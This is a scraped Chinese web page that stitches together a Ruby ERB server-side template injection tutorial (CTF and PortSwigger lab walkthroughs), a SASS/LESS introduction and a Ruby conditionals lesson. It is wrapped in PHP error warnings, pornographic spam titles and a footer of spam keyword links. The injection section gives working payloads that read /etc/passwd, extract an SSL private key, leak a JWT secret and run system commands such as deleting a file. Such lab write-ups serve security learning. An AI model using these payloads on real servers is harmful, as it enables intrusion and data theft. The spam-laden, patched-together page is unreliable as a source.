Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 亚洲精品日韩专区在线观看,久久成人亚洲香蕉草草,国产第一页在线播放

          整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          關(guān)于Ruby模板的那些事

          于Ruby的安全小問題,這里主要探討其模板注入。

          前言

          在web應(yīng)用中,模板的存在不可或缺,很多客戶端和服務(wù)端也會用到不同語言的模板引擎

          1) 客戶端模板引擎:主要結(jié)合js實(shí)現(xiàn)html,一種是常規(guī)字符串模板引擎,包括doT.js、dust.js、mustache.js;另一種是Dom模板引擎,包括vue.js、Angular.js、React.js等。

          2) 服務(wù)端模板引擎:由各服務(wù)端語言生成html返回客戶端,主要包括:

          PHP:Smarty、Twig;

          Java:Freemarker、Velocity;

          Python:Jinja2、Tornado、Marko;

          Ruby:Slim、ERB;

          NodeJS:Jade等

          模板注入與SQL注入有其類似之處,同作為一種注入攻擊,在某些特定場景可能會產(chǎn)生有趣的結(jié)果

          在本文,主要學(xué)習(xí)ruby的ERB模板,其易于學(xué)習(xí)的特質(zhì)也使其廣泛應(yīng)用于各服務(wù)端模板

          Ruby-ERB模板注入

          ERB屬于Ruby標(biāo)準(zhǔn)庫中的東西,其語法相較而言比較簡單,Ruby On Rails就是使用ERB作為創(chuàng)建文件的模板

          我們作為攻擊者,基本方法是先識別模板引擎,枚舉可訪問的類/方法,最后利用它們來獲取所需的操作,該操作可以是讀取或?qū)懭胛募⒚顖?zhí)行或其他操作

          ERB基本語法

          我們主要需要學(xué)習(xí)的模板寫法有二

          • <%寫邏輯腳本(Ruby語法)%>
          • <%=直接輸出變量值或運(yùn)算結(jié)果%>
          require 'erb'
          
          template = "text to be generated: <%= x %>"
          erb_object = ERB.new(template)
          x = 5
          puts erb_object.result(binding())
          x = 4
          puts erb_object.result(binding())
          

          如果x可控,即可實(shí)現(xiàn)常見的ssti

          require 'erb'
          
          template = "text to be generated: <%= x %>"
          erb_object = ERB.new(template)
          x = 7*7
          puts erb_object.result(binding())
          

          還可以進(jìn)行文件讀取

          require 'erb'
          
          template = "text to be generated: <%= x %>"
          erb_object = ERB.new(template)
          x = File.open('test').read
          puts erb_object.result(binding())
          

          枚舉當(dāng)前類的可用方法

          require 'erb'
          
          template = "text to be generated: <%= x %>"
          erb_object = ERB.new(template)
          x = self.methods
          puts erb_object.result(binding())
          

          Ruby全局變量

          Ruby全局變量

          中文釋義

          $!

          錯誤信息

          $@

          錯誤發(fā)生的位置

          >$0<

          正在執(zhí)行的程序的名稱

          $&

          成功匹配的字符串

          $/

          輸入分隔符,默認(rèn)為換行符

          $\

          輸出記錄分隔符(print和IO)

          $.

          上次讀取的文件的當(dāng)前輸入行號

          $; $-F

          默認(rèn)字段分隔符

          $,

          輸入字符串分隔符,連接多個字符串時用到

          $=

          不區(qū)分大小寫

          $~

          最后一次匹配數(shù)據(jù)

          $`

          最后一次匹配前的內(nèi)容

          $’

          最后一次匹配后的內(nèi)容

          $+

          最后一個括號匹配內(nèi)容

          ~

          各組匹配結(jié)果

          $< ARGF

          命令行中給定的文件的虛擬連接文件(如果未給定任何文件,則從$stdin)

          $>

          打印的默認(rèn)輸出

          $_

          從輸入設(shè)備中讀取的最后一行

          $* ARGV

          命令行參數(shù)

          $$

          運(yùn)行此腳本的Ruby的進(jìn)程號

          $?

          最后執(zhí)行的子進(jìn)程的狀態(tài)

          $: $-I

          加載的二進(jìn)制模塊(庫)的路徑

          $“

          數(shù)組包含的需要加載的庫的名字

          $DEBUG $-d

          調(diào)試標(biāo)志,由-d開關(guān)設(shè)置

          $LOADED_FEATURES

          $“的別名

          $FILENAME

          來自$<的當(dāng)前輸入文件

          $LOAD_PATH

          $:

          $stderr

          當(dāng)前標(biāo)準(zhǔn)誤差輸出

          $stdin

          當(dāng)前標(biāo)準(zhǔn)輸入

          $stdout

          當(dāng)前標(biāo)準(zhǔn)輸出

          $VERBOSE $-v

          詳細(xì)標(biāo)志,由-w或-v開關(guān)設(shè)置

          $-0

          $/

          $-a

          只讀

          $-i

          在in-place-edit模式下,此變量保存擴(kuò)展名

          NIL

          0本身

          ENV

          當(dāng)前環(huán)境變量

          RUBY_VERSION

          Ruby版本

          RUBY_RELEASE_DATE

          發(fā)布日期

          RUBY_PLATFORM

          平臺標(biāo)識符

          一些常用payload

          <%= 7 * 7 %>
          <%= File.open(‘/etc/passwd’).read %>
          <%= self %>    //枚舉該對象可用的屬性及方法
          <%= self.class.name %>   //獲取self對象的類名
          <%= self.methods %>
          <%= self.method(:handle_POST).parameters %>  //獲取目標(biāo)所需的具體參數(shù)
          <%= session.class.name %>
          <%= self.instance_variables %>
          <% ssl=@server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variables %>
          <% ssl = @server.instance_variable_get(:@ssl_context) %><%= ssl.instance_variable_get(:@key) %>   //提取key值
          

          靶場演示

          • [SCTF2019]Flag Shop

          /filebak

          require 'sinatra'
          require 'sinatra/cookies'
          require 'sinatra/json'
          require 'jwt'
          require 'securerandom'
          require 'erb'
          
          set :public_folder, File.dirname(__FILE__) + '/static'
          
          FLAGPRICE = 1000000000000000000000000000
          ENV["SECRET"] = SecureRandom.hex(64)
          
          configure do
            enable :logging
            file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
            file.sync = true
            use Rack::CommonLogger, file
          end
          
          get "/" do
            redirect '/shop', 302
          end
          
          get "/filebak" do
            content_type :text
            erb IO.binread __FILE__
          end
          
          get "/api/auth" do
            payload = { uid: SecureRandom.uuid , jkl: 20}
            auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
            cookies[:auth] = auth
          end
          
          get "/api/info" do
            islogin
            auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
            json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
          end
          
          get "/shop" do
            erb :shop
          end
          
          get "/work" do
            islogin
            auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
            auth = auth[0]
            unless params[:SECRET].nil?
              if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
                puts ENV["FLAG"]
              end
            end
          
            if params[:do] == "#{params[:name][0,7]} is working" then
          
              auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
              auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
              cookies[:auth] = auth
              ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
          
            end
          end
          
          post "/shop" do
            islogin
            auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
          
            if auth[0]["jkl"] < FLAGPRICE then
          
              json({title: "error",message: "no enough jkl"})
            else
          
              auth << {flag: ENV["FLAG"]}
              auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
              cookies[:auth] = auth
              json({title: "success",message: "jkl is good thing"})
            end
          end
          
          
          def islogin
            if cookies[:auth].nil? then
              redirect to('/shop')
            end
          end
          

          我們可以判斷出主要的漏洞點(diǎn)在于以下代碼中

          get "/work" do
            islogin
            auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
            auth = auth[0]
            unless params[:SECRET].nil?
              if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
                puts ENV["FLAG"]
              end
            end
          
            if params[:do] == "#{params[:name][0,7]} is working" then
          
              auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
              auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
              cookies[:auth] = auth
              ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
          
            end
          en
          

          我們是想得到j(luò)wt的secret

          而在這段代碼我們可以看到,ERB會對傳入密鑰進(jìn)行正則匹配且對于其存在一個字?jǐn)?shù)限制,當(dāng)傳入的參數(shù)do和params相等的話會彈出#{params[:name][0,7]} working successfully!')</script>

          而在ruby的全局變量中,存在這么一個全局變量:$’-- 最后一次匹配后的內(nèi)容,所以我們就可以利用這個對匹配的字符進(jìn)行讀取得到secret

          payload

          work?SECRET=&name=<%=$'%>&do=<%=$'%> is working
          

          得到secret

          后續(xù)進(jìn)行偽造即可,難度不高,網(wǎng)上wp詳細(xì)

          還有另外一種解法,即利用HTTP參數(shù)傳遞類型的差異進(jìn)行繞過,詳見http://mon0dy.top/2022/04/04/Ruby ERB模板注入/#sctf2019flag-shop

          • Basic server-side template injection(Lab: Basic server-side template injection | Web Security Academy (portswigger.net))

          這里用portswigger的靶場深入了解一下ERB模板注入

          我們可以看到,當(dāng)我們嘗試查看有關(guān)第一個產(chǎn)品的更多詳細(xì)信息時,GET請求會使用message參數(shù),并把其內(nèi)容“Unfortunately this product is out of stock"在主頁上打印出來

          而在ERB模板文檔中,存在這么一個用法

          <%= someExpression %>用于評估表達(dá)式并將結(jié)果呈現(xiàn)在頁面上

          所以我們不妨嘗試一下,看他能不能把我們想要的打印出來

          <%=7*7%>
          

          七七四十九,很明顯是可以打印出來的,那么我們就知道這message參數(shù)我們是可控的,這里就存在ERB模板注入問題

          而在ERB文檔中,依舊存在我們喜聞樂見的system()函數(shù)

          那么我們不妨whoami一下看看

          確實(shí)可以運(yùn)行,當(dāng)前用戶為carlos

          那么這道題目解決就需要刪除特定文件morale.txt即可,根據(jù)題目與目錄翻找得到文件路徑

          /home/carlos/morale.txt
          

          刪除文件

          <%=system("rm%20/home/carlos/morale.txt")%>
          

          后言

          與常見的ssti一致,都需先識別模板引擎,枚舉可訪問的類/方法,最后利用它們來獲取所需的操作進(jìn)行讀取或?qū)懭胛募⒚顖?zhí)行或其他操作,而其可以執(zhí)行的操作由可用的類方法/函數(shù)可以執(zhí)行的操作決定,所需要注意防范的點(diǎn)也多在于這些點(diǎn)上,尤其對于敏感信息的泄露問題,需多加注意。


          from https://www.freebuf.com/articles/web/367143.html

          CSS(層疊樣式表)是一門非程序式語言,入門學(xué)習(xí)使用非常直觀方便,但是對于一些比較復(fù)雜或者重用性比較強(qiáng)的項(xiàng)目來說,因?yàn)镃SS沒有變量、函數(shù)、SCOPE(作用域),需要書寫大量看似沒有邏輯的代碼,不方便維護(hù)及擴(kuò)展,不利于復(fù)用,尤其對于非前端開發(fā)工程師來講,往往會因?yàn)槿鄙?CSS 編寫經(jīng)驗(yàn)而很難寫出組織良好且易于維護(hù)的 CSS 代碼。

          為了方便前端開發(fā)的工作量,出現(xiàn)了sass和less。


          SASS和LESS

          SASS(英文全稱:Syntactically Awesome Stylesheets)Sass 誕生于 2007 年,使用Ruby 編寫,是一種對css的一種擴(kuò)展提升,增加了規(guī)則、變量、混入、選擇器、繼承等等特性。

          可以理解為用js的方式去書寫,然后編譯成css。比如說,sass中可以把反復(fù)使用的css屬性值定義成變量,然后通過變量名來引用它們,而無需重復(fù)書寫這一屬性值。


          LESS(2009年開源的一個項(xiàng)目,受Sass的影響較大,但又使用CSS的語法,讓大部分開發(fā)者和設(shè)計(jì)師更容易上手。

          LESS保留了css的任何功能,同時提供了多種方式能平滑的將寫好的代碼轉(zhuǎn)化成標(biāo)準(zhǔn)的CSS代碼,可以在任何使用隨時切換到css的語法進(jìn)行書寫。

          SASS和LESS****使用

          傳統(tǒng)的css可以直接被html引用,但是sass和less由于使用了類似JavaScript的方式去書寫,所以必須要經(jīng)過編譯生成css,而html引用只能引用編譯之后的css文件,雖然過程多了一層,但是畢竟sass/less在書寫的時候就方便很多,所以在我們使用sass/less之前,只要我們提前設(shè)置好,就可以直接生成對應(yīng)的css文件,而我們只需要關(guān)心我們的sass/less文件即可。

          Sass的語法規(guī)則,可以參考下SASS中文網(wǎng):https://www.sass.hk/


          SASS技術(shù)的文件的后綴名有兩種形式:.sass和.scss。其實(shí)兩者都是同一種東西,兩種均可以可以通過編譯生成瀏覽器能識別的css文件。這兩種的區(qū)別:

          1. 擴(kuò)展名不同;
          2. SCSS 的語法書寫和CSS 語法書寫方式非常類似,.sass文件對代碼的排版有著非常嚴(yán)格的要求,而且沒有大括號,沒有分號;

          Sass 語法

          $font-stack: Helvetica, sans-serif //定義變量

          $primary-color: #333 //定義變量

          body

          font: 100% $font-stack

          color: $primary-color

          SCSS 語法

          $font-stack: Helvetica, sans-serif;

          $primary-color: #333;

          body {

          font: 100% $font-stack;

          color: $primary-color;

          }

          編譯出來的 CSS

          body {

          font: 100% Helvetica, sans-serif;

          color: #333;

          }

          LESS技術(shù)的后綴名只有一種,就是.less,語法規(guī)則和sass大同小異,詳細(xì)可以參考less中文網(wǎng)http://lesscss.cn/

          LESS使用分為兩種:

          1. 直接在瀏覽器中引入less編譯器js文件和less文件,直接渲染編譯為css文應(yīng)用到當(dāng)前頁面中。
          2. less文件通過編譯成為css之后引用css;

          /* Less */

            @color: #999;
          
            @bgColor: skyblue;//不要添加引號
          
            @width: 50%;
          
            #wrap {
          

          color: @color;

          width: @width;

            }

          uby 是一種開源的面向?qū)ο蟪绦蛟O(shè)計(jì)的服務(wù)器端腳本語言,在 20 世紀(jì) 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)設(shè)計(jì)并開發(fā)。在 Ruby 社區(qū),松本也被稱為馬茨(Matz)。Ruby 可運(yùn)行于多種平臺,如 Windows、MAC OS 和 UNIX 的各種版本。

          Ruby 提供了幾種很常見的條件結(jié)構(gòu)。在這里,我們將解釋所有的條件語句和 Ruby 中可用的修飾符。

          Ruby if...else 語句

          語法

          if conditional [then]
                code...
          [elsif conditional [then]
                code...]...
          [else
                code...]
          end

          if 表達(dá)式用于條件執(zhí)行。值 false 和 nil 為假,其他值都為真。請注意,Ruby 使用 elsif,不是使用 else if 和 elif。
          如果 conditional 為真,則執(zhí)行 code。如果 conditional 不為真,則執(zhí)行 else 子句中指定的 code。
          通常我們省略保留字 then 。若想在一行內(nèi)寫出完整的 if 式,則必須以 then 隔開條件式和程式區(qū)塊。如下所示:

          if a == 4 then a = 7 end

          實(shí)例

          #!/usr/bin/ruby
          # -*- coding: UTF-8 -*-
           
          x=1
          if x > 2
             puts "x 大于 2"
          elsif x <= 2 and x!=0
             puts "x 是 1"
          else
             puts "無法得知 x 的值"
          end
          

          以上實(shí)例輸出結(jié)果:

          x 是 1

          Ruby if 修飾符

          語法

          code if condition

          if修飾詞組表示當(dāng) if 右邊之條件成立時才執(zhí)行 if 左邊的式子。即如果 conditional 為真,則執(zhí)行 code。

          實(shí)例

          #!/usr/bin/ruby
           
          $debug=1
          print "debug\n" if $debug
          

          以上實(shí)例輸出結(jié)果:

          debug

          Ruby unless 語句

          語法

          unless conditional [then]
             code
          [else
             code ]
          end
          

          unless式和 if式作用相反,即如果 conditional 為假,則執(zhí)行 code。如果 conditional 為真,則執(zhí)行 else 子句中指定的 code。

          實(shí)例

          #!/usr/bin/ruby
          # -*- coding: UTF-8 -*-
           
          x=1
          unless x>2
             puts "x 小于 2"
           else
            puts "x 大于 2"
          end

          以上實(shí)例輸出結(jié)果為:

          x 小于 2

          Ruby unless 修飾符

          語法

          code unless conditional

          如果 conditional 為假,則執(zhí)行 code。

          實(shí)例

          #!/usr/bin/ruby
          # -*- coding: UTF-8 -*-
           
          $var =  1
          print "1 -- 這一行輸出\n" if $var
          print "2 -- 這一行不輸出\n" unless $var
           
          $var = false
          print "3 -- 這一行輸出\n" unless $var
          

          以上實(shí)例輸出結(jié)果:

          1 -- 這一行輸出
          3 -- 這一行輸出

          Ruby case 語句

          語法

          case expression
          [when expression [, expression ...] [then]
             code ]...
          [else
             code ]
          end
          

          case先對一個 expression 進(jìn)行匹配判斷,然后根據(jù)匹配結(jié)果進(jìn)行分支選擇。
          它使用 ===運(yùn)算符比較 when 指定的 expression,若一致的話就執(zhí)行 when 部分的內(nèi)容。
          通常我們省略保留字 then 。若想在一行內(nèi)寫出完整的 when 式,則必須以 then 隔開條件式和程式區(qū)塊。如下所示:

          when a == 4 then a = 7 end

          因此:

          case expr0
          when expr1, expr2
             stmt1
          when expr3, expr4
             stmt2
          else
             stmt3
          end

          基本上類似于:

          _tmp = expr0
          if expr1 === _tmp || expr2 === _tmp
             stmt1
          elsif expr3 === _tmp || expr4 === _tmp
             stmt2
          else
             stmt3
          end

          實(shí)例

          #!/usr/bin/ruby
          # -*- coding: UTF-8 -*-
           
          $age =  5
          case $age
          when 0 .. 2
              puts "嬰兒"
          when 3 .. 6
              puts "小孩"
          when 7 .. 12
              puts "child"
          when 13 .. 18
              puts "少年"
          else
              puts "其他年齡段的"
          end
          

          以上實(shí)例輸出結(jié)果為:

          小孩

          當(dāng)case的"表達(dá)式"部分被省略時,將計(jì)算第一個when條件部分為真的表達(dá)式。

          foo = false
          bar = true
          quu = false
           
          case
          when foo then puts 'foo is true'
          when bar then puts 'bar is true'
          when quu then puts 'quu is true'
          end
          # 顯示 "bar is true"

          https://www.linuxprobe.com/learn-ruby-judgment.html


          主站蜘蛛池模板: 国模大尺度视频一区二区| 国产福利视频一区二区| 国产成人精品一区在线| 色噜噜狠狠一区二区三区果冻| 国产精品免费视频一区| 无码中文人妻在线一区二区三区| 国产激情一区二区三区成人91| 国产精品一区不卡| 一区二区传媒有限公司| 亚洲天堂一区二区三区| www亚洲精品少妇裸乳一区二区 | 日本一区频道在线视频| 免费一区二区无码视频在线播放| 一区二区三区在线|日本| 久久毛片一区二区| eeuss鲁片一区二区三区| 怡红院AV一区二区三区| 国产一区二区好的精华液| 亚洲大尺度无码无码专线一区| 一区二区在线视频| 久久久久人妻精品一区二区三区 | 国产一区二区三区不卡在线观看| 文中字幕一区二区三区视频播放 | 久久亚洲日韩精品一区二区三区| 成人免费一区二区三区在线观看| 国产99久久精品一区二区| 国产高清视频一区三区| 夜夜添无码试看一区二区三区 | 久久精品黄AA片一区二区三区| 成人精品一区二区三区不卡免费看| 亚洲午夜日韩高清一区| 亚洲午夜精品第一区二区8050| 国产一区二区三区在线观看精品| 精品国产一区二区三区2021| 亚洲国产激情一区二区三区| 曰韩精品无码一区二区三区| 日韩精品区一区二区三VR| 国产一区中文字幕在线观看| 一区二区三区免费在线视频| 国产一区二区三区高清视频 | 国产精品熟女一区二区|